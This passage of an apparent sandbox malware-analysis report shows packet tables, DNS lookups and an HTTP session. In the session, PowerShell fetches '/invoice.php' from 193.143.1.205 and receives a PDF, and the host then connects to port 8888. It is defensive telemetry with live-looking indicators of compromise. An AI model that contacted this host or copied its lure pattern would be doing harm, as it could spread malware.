Jan 10, 2025 14:28:11.574682951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574697971 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574707985 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574721098 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574729919 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574753046 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574764013 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574774981 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574785948 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574796915 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574805021 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574827909 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574836016 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574851990 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574860096 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574877977 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574884892 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574903011 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574911118 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574923992 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574934959 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574950933 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574956894 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574978113 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.574985027 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.574999094 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575010061 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575030088 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575037003 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575057983 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575067997 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575076103 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575095892 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575103045 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575138092 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575150013 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575196981 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575215101 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575225115 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575242043 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575253963 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575263977 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575284004 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575290918 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575304985 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575330019 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575336933 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575357914 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575366020 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575381041 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575397015 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575413942 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575433016 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575443983 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575460911 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575467110 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575479984 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575496912 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575512886 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575524092 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575542927 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575548887 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575567007 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575579882 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575589895 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575623035 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575627089 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575637102 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575654984 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575665951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575680017 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575700045 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575711966 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575720072 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575731039 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575747967 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575754881 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575768948 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575786114 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575865030 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575876951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575891018 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575905085 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575911999 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575922966 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.575948000 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575959921 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575975895 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575980902 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.575990915 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576001883 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576020956 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576028109 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576039076 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576049089 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576061010 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576073885 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576081038 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576092005 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576112986 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576122999 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576132059 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576150894 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576163054 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576174021 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576191902 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576200008 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576210022 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576229095 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576239109 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576256990 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576273918 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576286077 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576291084 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576316118 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576319933 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576335907 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576350927 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.576358080 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.576379061 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.580638885 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.643013954 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643032074 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643054962 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643064976 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643086910 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.643095016 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643102884 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.643116951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643130064 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643142939 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643188953 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.643188953 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.643965960 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643985987 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.643999100 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644013882 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644022942 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644041061 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644054890 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644063950 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644078016 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644092083 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644099951 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644130945 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644768000 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644799948 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644818068 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644834042 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644840956 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644854069 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644876957 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644906998 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644928932 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644934893 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.644969940 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.644980907 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645006895 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645016909 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.645041943 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.645051003 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645066977 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645076990 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645101070 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.645143032 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645154953 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645172119 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.645189047 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.645212889 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.650155067 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.658615112 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665066004 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665116072 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665127039 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665148020 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665149927 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665167093 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665179968 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665257931 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665271997 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665288925 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665294886 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665311098 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665323019 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665359974 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665370941 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665390968 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665400028 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665410995 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665429115 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665441036 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665452957 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665472984 CET	80	49704	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:11.665477991 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.665508986 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.679640055 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:11.812247992 CET	49704	80	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:12.299696922 CET	49705	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:12.304490089 CET	8888	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:12.304811001 CET	49705	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:12.304811001 CET	49705	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:12.309572935 CET	8888	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:13.136724949 CET	8888	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 14:28:13.188608885 CET	49705	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:28:14.955848932 CET	49705	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 14:30:14.380202055 CET	61551	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:30:14.385133028 CET	53	61551	1.1.1.1	192.168.2.7
Jan 10, 2025 14:30:14.388077974 CET	61551	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:30:14.388077974 CET	61551	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:30:14.393002987 CET	53	61551	1.1.1.1	192.168.2.7
Jan 10, 2025 14:30:14.833492041 CET	53	61551	1.1.1.1	192.168.2.7
Jan 10, 2025 14:30:14.836946011 CET	61551	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:30:14.842006922 CET	53	61551	1.1.1.1	192.168.2.7
Jan 10, 2025 14:30:14.842084885 CET	61551	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:28:19.859838963 CET	64971	53	192.168.2.7	1.1.1.1
Jan 10, 2025 14:30:14.379720926 CET	53	64957	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:28:19.859838963 CET	192.168.2.7	1.1.1.1	0xae17	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:28:19.867933035 CET	1.1.1.1	192.168.2.7	0xae17	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:28:20.588298082 CET	1.1.1.1	192.168.2.7	0xe223	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:20.588298082 CET	1.1.1.1	192.168.2.7	0xe223	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:25.510677099 CET	1.1.1.1	192.168.2.7	0x40d7	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:25.510677099 CET	1.1.1.1	192.168.2.7	0x40d7	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:38.506046057 CET	1.1.1.1	192.168.2.7	0x62ee	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:28:38.506046057 CET	1.1.1.1	192.168.2.7	0x62ee	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:01.115953922 CET	1.1.1.1	192.168.2.7	0x7a70	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:25.230087042 CET	1.1.1.1	192.168.2.7	0x6a0d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:25.230087042 CET	1.1.1.1	192.168.2.7	0x6a0d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:49.337430000 CET	1.1.1.1	192.168.2.7	0x2d77	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:29:49.337430000 CET	1.1.1.1	192.168.2.7	0x2d77	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:30:13.380661011 CET	1.1.1.1	192.168.2.7	0xa86e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:30:13.380661011 CET	1.1.1.1	192.168.2.7	0xa86e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	193.143.1.205	80	1240	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:28:10.144882917 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:28:10.922893047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:28:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:28:10.922931910 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:28:10.922950029 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:28:10.922960043 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
